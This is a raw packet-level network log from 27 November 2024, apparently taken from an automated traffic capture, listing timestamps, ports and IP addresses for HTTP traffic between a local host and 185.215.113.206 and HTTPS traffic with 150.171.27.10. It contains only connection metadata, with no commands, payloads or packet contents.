Nov 27, 2024 11:14:45.605645895 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.605701923 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.605767012 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.606564045 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.606576920 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.606743097 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.607132912 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.607170105 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.607192993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.607315063 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.643686056 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.643721104 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.643763065 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.643774033 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.643829107 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.677750111 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.677820921 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.677840948 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.677917004 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.678172112 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.678236008 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.678244114 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.678364038 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.678910971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.678956032 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.678977966 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.679071903 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.679717064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.679766893 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.679807901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.679887056 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.680176973 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.680233955 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.680247068 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.680344105 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.681050062 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.681128979 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.681169033 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.681308985 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.681926012 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.681977034 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.681988001 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.682115078 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.682821035 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.682877064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.682939053 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.683000088 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.683814049 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.683909893 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.683943987 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.684017897 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.684705973 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.684782982 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.684798956 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.684883118 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.685412884 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.685458899 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.685530901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.685599089 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.686279058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.686357975 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.686408043 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.687145948 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.687201023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.687274933 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.687998056 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.688062906 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.688101053 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.688168049 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.688910007 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.688997984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.689014912 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.689088106 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.689755917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.689807892 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.689846039 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.689929008 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.690635920 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.690692902 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.690983057 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.691075087 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.691476107 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.691533089 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.691591024 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.691679955 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.692349911 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.692399025 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.692445993 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.692501068 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.693200111 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.693308115 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.693334103 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.693414927 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.694094896 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.694153070 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.694183111 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.694386005 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.694940090 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.695035934 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.695099115 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.695179939 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.695816994 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.695966005 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.696213007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.696726084 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.696800947 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.696851969 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.697546959 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.697616100 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.697655916 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.697705030 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.698405027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.698457003 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.698515892 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.698647022 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.699273109 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.699336052 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.699346066 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.699398041 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.700200081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.700237036 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.700299025 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.700318098 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.701077938 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.701145887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.701147079 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.701284885 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.701905966 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.701965094 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.702044964 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.702121973 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.702816963 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.702871084 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.702893019 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.702909946 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.703650951 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.703716040 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.703762054 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.703823090 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.704530954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.704606056 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.704611063 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.704730988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.705354929 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.705425978 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.705445051 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.705477953 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.753117085 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.753170013 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.753179073 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.753247023 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.753391981 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.753457069 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.753457069 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.753638983 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.754002094 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.754062891 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.754100084 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.754163027 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.754596949 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.754648924 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.754658937 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.754725933 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.755489111 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.755567074 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.755649090 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.755707979 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.756369114 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.756516933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.756531000 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.756644011 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.757204056 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.757324934 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.757421970 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.758128881 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.758169889 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.758188963 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.758270979 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.758960962 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.759033918 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.759043932 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.759157896 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.759844065 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.759957075 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.760042906 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.760786057 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.760802031 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.760855913 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.760855913 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.761539936 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.761586905 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.761657953 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.761754990 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.762427092 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.762526035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.762542963 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.762599945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.763345003 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.763415098 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.773730040 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.773782015 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.773827076 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.773845911 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.773866892 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.773955107 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.799649954 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.799714088 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.799793005 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.799793005 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.799810886 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.799899101 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.803267002 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.803373098 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.803455114 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.803760052 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.803783894 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.803832054 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.804585934 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.804665089 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.804680109 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.804728985 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.805433989 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.805500984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.805538893 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.806325912 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.806389093 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.806411028 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.806499958 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.807284117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.807296038 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.807358027 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.808093071 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.808104992 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.808182955 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.823004961 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.823031902 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.823112965 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.823127031 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.823174000 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.823584080 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.843966961 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.844012976 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.844053030 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.844059944 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.844146967 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.844146967 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.879125118 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.879215956 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.879242897 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.879322052 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.879554987 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.879620075 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.879684925 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.879726887 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.880419016 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.880475998 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.880503893 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.880589008 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.881266117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.881319046 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.881540060 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.881580114 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.881679058 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.882416964 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.882508039 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.882513046 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.882638931 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.883291006 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.883348942 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.883353949 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.883428097 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.884135962 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.884202957 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.884241104 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.884291887 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.885021925 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.885091066 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.885106087 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.885215044 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.885880947 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.885938883 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.885993958 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.886081934 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.886805058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.886919975 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.886926889 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.887027979 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.887614965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.887720108 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.887731075 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.887912989 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.888484955 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.888528109 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.888585091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.888663054 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.889377117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.889441013 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.889596939 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.889667988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.890260935 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.890355110 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.890424013 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.890480042 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.891108036 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.891154051 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.891195059 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.891268015 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.891969919 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.892060041 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.892076015 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.892133951 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.892819881 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.892906904 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.892932892 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.892987967 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.893718004 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.893878937 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.893924952 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.894007921 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.894563913 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.894610882 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.894644022 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.894668102 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.895534039 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.895602942 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.895607948 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.895747900 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.896322012 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.896373034 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.896434069 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.896488905 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.897222996 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.897293091 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.897612095 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.897664070 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.898030996 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.898087025 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.898142099 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.898192883 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.898896933 CET	80	49830	185.215.113.206	192.168.2.6
